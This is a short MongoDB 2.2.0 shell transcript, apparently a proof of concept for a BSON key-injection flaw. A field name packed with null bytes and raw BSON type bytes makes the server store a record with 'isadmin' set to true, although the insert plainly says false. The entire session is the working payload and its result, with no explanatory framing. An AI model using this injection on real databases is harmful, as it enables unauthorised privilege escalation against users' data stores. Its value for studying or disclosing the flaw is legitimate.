MongoDB shell version: 2.2.0
connecting to: test
> db.test.remove()
> db.test.insert({ "name" : "no admin 2", "isadmin" : false})
> db.test.find()
{ "_id" : ObjectId("504f883dbc114eb55c6387af"), "name" : "no admin 2", "isadmin" : false }
> db.test.insert({ "name\x16\x00\x08isadmin\x00\x01\x00\x00\x00\x00\x00" : "no admin 2", "isadmin" : false })
> db.test.find()
{ "_id" : ObjectId("504f883dbc114eb55c6387af"), "name" : "no admin 2", "isadmin" : false }
{ "_id" : ObjectId("504f8843bc114eb55c6387b0"), "name" : null, "isadmin" : true, "isadmin" : true }